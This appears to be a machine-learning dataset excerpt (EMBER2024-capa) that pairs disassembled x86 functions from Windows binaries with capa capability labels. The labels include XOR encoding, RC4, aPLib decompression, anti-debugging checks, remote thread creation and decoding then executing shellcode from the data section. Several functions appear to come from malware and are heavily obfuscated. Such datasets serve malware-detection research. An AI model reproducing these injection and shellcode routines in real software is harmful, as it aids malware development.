joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001f80
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
mov edx, dword [esp + 0x14]
push ebx
push ebp
push esi
lea eax, [edx - 0x549]
mov dword [esp + 0xc], eax
lea ebp, [edx - 0x2034]
mov eax, dword [esp + 0x28]
mov ebx, eax
xor ebx, 0x3028
mov dword [esp + 0x10], ebp
push edi
mov edi, dword [esp + 0x20]
lea esi, [eax - 0x2ac3]
add edi, 0xfffff1cd
mov eax, ebx
mov dword [esp + 0x2c], esi
xor eax, 0xc16
mov dword [esp + 0x20], edi
cmp ebp, eax
mov eax, dword [esp + 0x1c]
jge 0x10002000
mov ecx, dword [eax + 0xe8]
cmp ecx, dword [eax + 0x64]
ja 0x10001fe9
mov dword [eax + 0x88], 0x10123468
jmp 0x10002050
mov ecx, dword [eax + 0x7c]
xor ecx, dword [eax + 0x110]
xor ecx, 0x2e387
mov dword [eax + 0x110], ecx
jmp 0x10002050
mov edx, dword [eax + 0x118]
mov ecx, dword [eax + 0x60]
imul ecx, edx
cmp edx, ecx
je 0x1000204c
mov ecx, dword [eax + 0x2c]
lea edx, [edi + 0xac3]
and edx, 0x1d51
cmp ecx, edx
jg 0x1000204c
mov edi, dword [eax + 0xa4]
sub edx, ecx
sub edi, dword [esp + 0x10]
inc edx
mov esi, dword [eax + 0xd4]
imul esi, edi
sub edx, 1
jne 0x10002036
mov edi, dword [esp + 0x20]
mov dword [eax + 0xd4], esi
mov esi, dword [esp + 0x2c]
mov edx, dword [esp + 0x24]
xor ebx, 0x3d18
cmp edi, ebx
jg 0x10002144
cmp esi, edx
jge 0x1000213d
lea ecx, [esi + 0x1d51]
cmp ebp, ecx
jge 0x1000213d
mov ebx, dword [eax + 0xf0]
xor edi, edi
mov ebp, dword [eax + 0x7c]
nop
mov ecx, dword [eax + 0x20]
add ebx, 0x19f641
movzx edx, byte [eax + 0x50]
sub ecx, ebp
add ecx, ebx
mov dword [eax + 0xf0], ecx
mov ecx, dword [eax + 0x88]
movzx ebx, byte [edi + ecx]
add edi, 4
mov ecx, dword [eax + 0x8c]
imul ebx, edx
mov edx, dword [eax + 0x54]
mov byte [edx + ecx], bl
mov ecx, dword [eax + 0xbc]
mov esi, dword [eax + 0x70]
mov edx, dword [eax + 0x94]
mov ebp, dword [eax + 0x7c]
lea ecx, [ecx*2 - 0x18ad75]
mov ebx, dword [eax + 0xf0]
add ecx, esi
inc dword [eax + 0x54]
add dword [eax + 0xac], ebx
mov dword [eax + 0xbc], ecx
mov ecx, dword [eax + 0x120]
xor ecx, edx
xor ecx, 0x17da48
imul ecx, dword [eax + 0xa4]
mov dword [eax + 0xa4], ecx
mov ecx, dword [eax + 0x118]
xor ecx, ebp
sub esi, ecx
sub esi, edx
add esi, 0xf4a3e
add dword [eax + 0x34], esi
cmp edi, 0x1391d0
jl 0x10002080
mov ecx, dword [eax + 0xcc]
mov ebp, dword [esp + 0x14]
cmp ecx, dword [eax + 0x20]
jae 0x1000213d
mov ecx, dword [eax + 0xb0]
sub ecx, 0x1035a4
mov dword [eax + 0x50], ecx
add dword [eax + 0x50], 0x1fa9c
pop edi
xor ebp, 0x2ac3
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 8
ret
Function at 0x40db80
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x4143d8], 0
jne 0x40dc01
cmp dword [0x4143f8], 0
jne 0x40dbb0
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x4143f8], eax
test eax, eax
jne 0x40dbb0
push str.GetEnvironmentStrings_failed
call fcn.0040cbf0
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x4143f8]
jmp 0x40dbc4
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dbbc
lea edi, [ebp + 1]
push edi
call fcn.00405c3c
pop ecx
mov ebx, eax
mov dword [0x4143dc], ebx
test ebx, ebx
jne 0x40dbee
xor eax, eax
jmp 0x40dcc4
push edi
mov edx, dword [0x4143f8]
push edx
push ebx
call fcn.004069b8
add esp, 0xc
jmp 0x40dc21
xor esi, esi
mov ebx, dword [0x4143d8]
jmp 0x40dc1b
push eax
call fcn.00406b08
pop ecx
test eax, eax
jne 0x40dc17
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc0b
lea ebx, [esi + 4]
push 4
mov dword [0x4143e0], ebx
inc ebx
push ebx
call fcn.00405a3c
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x40dc44
xor eax, eax
jmp 0x40dcc4
cmp dword [0x4143d8], 0
jne 0x40dc75
xor esi, esi
mov ebx, dword [0x4143dc]
mov eax, dword [esp]
mov ebp, eax
jmp 0x40dc66
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dc5c
jmp 0x40dca6
xor esi, esi
mov ebx, dword [0x4143d8]
mov eax, dword [esp]
mov edi, eax
jmp 0x40dca0
push eax
call fcn.00406b08
pop ecx
test eax, eax
je 0x40dc95
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x40dc99
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc84
mov eax, dword [0x4143d8]
test eax, eax
je 0x40dcb6
push eax
call fcn.00405c4c
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x4143d8], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x427f00
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.00427f8f
jae 0x427f0e
xor ecx, ecx
call fcn.00427f8f
jae 0x427f3d
xor eax, eax
call fcn.00427f8f
jae 0x427f4d
mov bl, 2
inc ecx
mov al, 0x10
call fcn.00427f8f
adc al, al
jae 0x427f2f
jne 0x427f79
stosb byte es:[edi], al
jmp 0x427f11
call fcn.00427f9b
sub ecx, ebx
jne 0x427f56
call fcn.00427f99
jmp 0x427f75
lodsb al, byte [esi]
shr eax, 1
je 0x427f83
adc ecx, ecx
jmp 0x427f72
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.00427f99
cmp eax, 0x7d00
jae 0x427f72
cmp ah, 5
jae 0x427f73
cmp eax, 0x7f
ja 0x427f74
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x427f11
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret 8
Function at 0x402235
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, dword [ebp + 8]
push esi
push edi
mov eax, dword [ecx + 0x18]
mov edi, dword [ecx + 0x14]
movzx ecx, word [ecx + 0x1e]
cdq
mov esi, eax
shr ecx, 3
xor esi, edx
mov dword [ebp - 4], edi
sub esi, edx
test esi, esi
jle 0x4022d0
mov edx, dword [ebp + 0xc]
push ebx
mov ebx, ecx
imul ebx, edi
inc edx
mov dword [ebp - 8], ebx
test edi, edi
jle 0x4022ca
mov ebx, edx
mov dword [ebp + 8], edi
movzx eax, byte [ebx]
movd xmm1, eax
movzx eax, byte [ebx + 1]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
mulsd xmm1, qword [0x41e680]
movzx eax, byte [ebx - 1]
cvtdq2pd xmm0, xmm0
mulsd xmm0, qword [0x41e670]
addsd xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm0, qword [0x41e668]
addsd xmm1, xmm0
cvttsd2si eax, xmm1
mov byte [ebx + 1], al
mov byte [ebx], al
mov byte [ebx - 1], al
add ebx, ecx
dec edi
jne 0x402270
mov edi, dword [ebp - 4]
mov ebx, dword [ebp - 8]
add edx, ebx
dec esi
jne 0x402267
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x4026c0
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x41d00c
call fcn.004078b8
sub esp, 0x1c
push ebx
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x4027bd
cmp byte [ebx + 0x45], 0
je 0x4027bd
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x4026f7
xor al, al
jmp 0x4027bf
xor eax, eax
mov dword [ebp - 0x14], 0xf
push eax
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x28], al
call fcn.004039ac
and dword [ebp - 4], 0
push esi
push edi
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
lea eax, [ebp - 0x10]
mov ecx, dword [ebx + 0x40]
lea edi, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x18]
lea esi, [ebp - 0x28]
cmovae edi, edx
cmovae esi, edx
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x402753
dec eax
je 0x402757
dec eax
dec eax
je 0x4027a9
xor bl, bl
jmp 0x4027ab
mov byte [ebx + 0x45], 0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x28]
cmp ecx, 0x10
mov esi, dword [ebp - 0x10]
cmovae eax, edx
sub esi, eax
je 0x40278f
push dword [ebx + 0x50]
cmp ecx, 0x10
lea eax, [ebp - 0x28]
push esi
cmovae eax, edx
push 1
push eax
call fcn.00407259
add esp, 0x10
cmp esi, eax
jne 0x40274f
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
cmp byte [ebx + 0x45], 0
je 0x4027a9
test esi, esi
jne 0x40271d
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.004037f0
jmp 0x402717
mov bl, 1
push 0
push 1
lea ecx, [ebp - 0x28]
call fcn.004036ac
pop edi
mov al, bl
pop esi
jmp 0x4027bf
mov al, 1
mov ecx, dword [ebp - 0xc]
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x4054ee
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
push 0x2faf080
xor edi, edi
call fcn.00405770
mov esi, eax
pop ecx
test esi, esi
je 0x4055b6
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
lea eax, [esi + 0x2faf080]
push eax
push esi
call fcn.00401328
mov ecx, edi
mov ebx, 0x15b7
mov al, byte [ecx + section..data]
ror al, 3
xor al, byte [edi + str.idkcirqhqfkcp]
mov byte [ecx + section..data], al
lea eax, [edi + 1]
push 0xd
pop edi
cdq
idiv edi
inc ecx
mov edi, edx
cmp ecx, ebx
jb 0x405529
push str.VirtualProtect
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 8]
push ecx
push 0x40
push ebx
push section..data
call eax
lea eax, section..data
call eax
push esi
call fcn.00407827
pop ecx
lea eax, [ebp - 0x40]
push eax
push str.input.bmp
call fcn.004022d8
mov esi, eax
test esi, esi
je 0x4055b6
push esi
lea eax, [ebp - 0x40]
push eax
call fcn.00402235
push esi
lea eax, [ebp - 0x40]
push eax
push str.output.bmp
call fcn.00402462
push esi
call fcn.00407827
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x417e6f
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x429d10]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040a642
mov dword [ebp - 0x14], eax
cmp dword [0x42c2dc], esi
jne 0x417f62
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x417eef
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x418042
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x418042
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x418042
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x42c2dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x42c2e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x42c2e4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42c2ec], eax
test eax, eax
je 0x417f5f
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42c2e8], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x417f87
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x417f7a
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x417f9c
push 4
pop eax
jmp 0x418044
cmp dword [ebp - 0x14], esi
je 0x417f9c
push dword [0x42c2dc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x417f81
mov eax, dword [0x42c2e8]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x417ffa
cmp dword [0x42c2ec], edi
je 0x417ffa
push eax
call ebx
push dword [0x42c2ec]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x417ffa
test eax, eax
je 0x417ffa
call ecx
test eax, eax
je 0x417fef
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x417fef
test byte [ebp - 8], 1
jne 0x417ffa
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x41802a
mov eax, dword [0x42c2e0]
cmp eax, edi
je 0x418027
push eax
call ebx
test eax, eax
je 0x418027
call eax
mov esi, eax
test esi, esi
je 0x418027
mov eax, dword [0x42c2e4]
cmp eax, edi
je 0x418027
push eax
call ebx
test eax, eax
je 0x418027
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x42c2dc]
call ebx
test eax, eax
je 0x418042
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x418044
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004095db
mov esp, ebp
pop ebp
ret
Function at 0x10003160
Capabilities:
Check for hardware breakpoints

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2d4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
test ecx, ecx
je 0x100031ba
mov eax, dword [ebx]
mov dword [ebp - 0x2d0], eax
lea eax, [ebp - 0x2d0]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000337a
mov edx, dword [ebp - 0x210]
test edx, 0x20000
jne 0x100031f5
cmp dword [ebp - 0x214], 0x1b
jne 0x100031f5
lea eax, [ebp - 0x2d4]
mov edi, 0x2cc
push eax
push edi
lea eax, [ebp - 0x2d0]
push eax
push dword [0x1000545c]
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x1000337a
cmp dword [ebp - 0x2d4], edi
jne 0x1000337a
mov edx, dword [ebp - 0x210]
mov ecx, dword [ebx]
mov esi, 0x10001
mov eax, ecx
and eax, esi
cmp eax, esi
jne 0x10003246
mov eax, dword [ebp - 0x21c]
mov dword [ebx + 0xb4], eax
mov eax, dword [ebp - 0x218]
mov dword [ebx + 0xb8], eax
mov eax, dword [ebp - 0x214]
mov dword [ebx + 0xbc], eax
mov eax, dword [ebp - 0x208]
mov dword [ebx + 0xc8], eax
mov eax, dword [ebp - 0x20c]
mov dword [ebx + 0xc0], edx
mov dword [ebx + 0xc4], eax
mov edx, 0x10004
mov eax, ecx
and eax, edx
cmp eax, edx
jne 0x10003283
mov eax, dword [ebp - 0x244]
mov dword [ebx + 0x8c], eax
mov eax, dword [ebp - 0x240]
mov dword [ebx + 0x90], eax
mov eax, dword [ebp - 0x23c]
mov dword [ebx + 0x94], eax
mov eax, dword [ebp - 0x238]
mov dword [ebx + 0x98], eax
mov edx, 0x10002
mov eax, ecx
and eax, edx
cmp eax, edx
jne 0x100032d8
mov eax, dword [ebp - 0x234]
mov dword [ebx + 0x9c], eax
mov eax, dword [ebp - 0x230]
mov dword [ebx + 0xa0], eax
mov eax, dword [ebp - 0x22c]
mov dword [ebx + 0xa4], eax
mov eax, dword [ebp - 0x224]
mov dword [ebx + 0xac], eax
mov eax, dword [ebp - 0x228]
mov dword [ebx + 0xa8], eax
mov eax, dword [ebp - 0x220]
mov dword [ebx + 0xb0], eax
mov edx, 0x10008
mov eax, ecx
and eax, edx
cmp eax, edx
jne 0x10003334
mov eax, dword [ebp - 0x2b4]
lea edi, [ebx + 0x38]
mov dword [ebx + 0x1c], eax
lea esi, [ebp - 0x298]
mov eax, dword [ebp - 0x2b0]
mov dword [ebx + 0x20], eax
mov eax, dword [ebp - 0x2ac]
mov dword [ebx + 0x24], eax
mov eax, dword [ebp - 0x2a8]
mov dword [ebx + 0x28], eax
mov eax, dword [ebp - 0x2a4]
mov dword [ebx + 0x2c], eax
mov eax, dword [ebp - 0x2a0]
mov dword [ebx + 0x30], eax
mov eax, dword [ebp - 0x29c]
push 0x14
pop ecx
mov dword [ebx + 0x34], eax
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebx]
mov eax, 0x10010
and ecx, eax
cmp ecx, eax
jne 0x10003375
mov eax, dword [ebp - 0x2cc]
mov dword [ebx + 4], eax
mov eax, dword [ebp - 0x2c8]
mov dword [ebx + 8], eax
mov eax, dword [ebp - 0x2c4]
mov dword [ebx + 0xc], eax
mov eax, dword [ebp - 0x2c0]
mov dword [ebx + 0x10], eax
mov eax, dword [ebp - 0x2bc]
mov dword [ebx + 0x14], eax
mov eax, dword [ebp - 0x2b8]
mov dword [ebx + 0x18], eax
xor eax, eax
inc eax
jmp 0x1000337c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10003c76
leave
ret 0xc
Function at 0x10003b30
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb0
push esi
push edi
push 0xa0
xor esi, esi
lea eax, [esp + 0x1c]
push esi
push eax
call sub.ntdll.dll_memset
mov eax, dword [ebp + 8]
add esp, 0xc
mov dword [esp + 0x18], eax
mov eax, 0x1000
mov word [esp + 0xb0], ax
lea eax, [esp + 0xc]
mov dword [esp + 0x44], eax
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x4c], 0xc
call dword [sym.imp.KERNEL32.dll_GetNextVDMCommand]
test eax, eax
je 0x10003bc9
push dword [esp + 0xc]
push esi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x10003bc9
lea eax, [esp + 8]
push eax
movzx eax, word [ebp + 0xc]
push esi
push eax
push dword [esp + 0x20]
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x10003bc2
push eax
inc esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 8

Function at 0x10009239
Capabilities:
Encode data using xor

Disassembly:
call 0x100091b2
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x100091e2
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x100091fe
xor edx, 0
jmp 0x10009209
xor edx, edx
jmp 0x10009220
jmp 0x1000922c
xor eax, eax
push 0x8427d7c0
call 0x10009239
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x10009275
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x1000924e
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1000928c
add eax, 0
jno 0x10009291
add esi, 0
ret 0x10
Function at 0x10009ffa
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x1000a01c
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1000a1be
cmp edi, dword [ebp + 0x10]
jb 0x1000a1be
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.10009ae6
inc edi
jmp 0x1000a0a5
jmp 0x1000a0b2
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10009ae6
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10009ae6
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x1000a106
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x1000a0ea
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.1000a134
add dword [eax], 0x39
jle 0x1000a110
sub al, 0xf5
mov ch, al
call fcn.1000a149
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x1000be21
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x1000be37
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x1000be48
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.1000be89
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx
Function at 0x1000e1f5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x1000e13e
add ebx, 0
push ecx
call 0x1000e153
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x73537017
sub ebx, dword [0x73556856]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x73556846
call fcn.10009c1d
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.1000912b
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x1000e2b1
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x1000e2b1
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x1000e268
mov eax, 1
lock xchg dword [0x73556852], eax
push 0x3dd1fc71
call 0x1000e1f5
push esi
add esp, 8
cmp eax, 0
jne 0x1000e1de
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x1000e204
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x1000e219
cmp ecx, edx
cmp eax, 0
je 0x1000e23e
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x1000e228
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.1000e257
dec eax
loope 0x1000e25a
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x73556852], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x1000e28e
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x1000e2a3
jmp 0x1000e2ae
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x1000e19c
Function at 0x10015316
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x100155ec
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x735434ca
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x7353a490
push 0xffffffffffffffff
call fcn.1000c516
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x10015380
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.10015398
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x100155e0
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x100155b4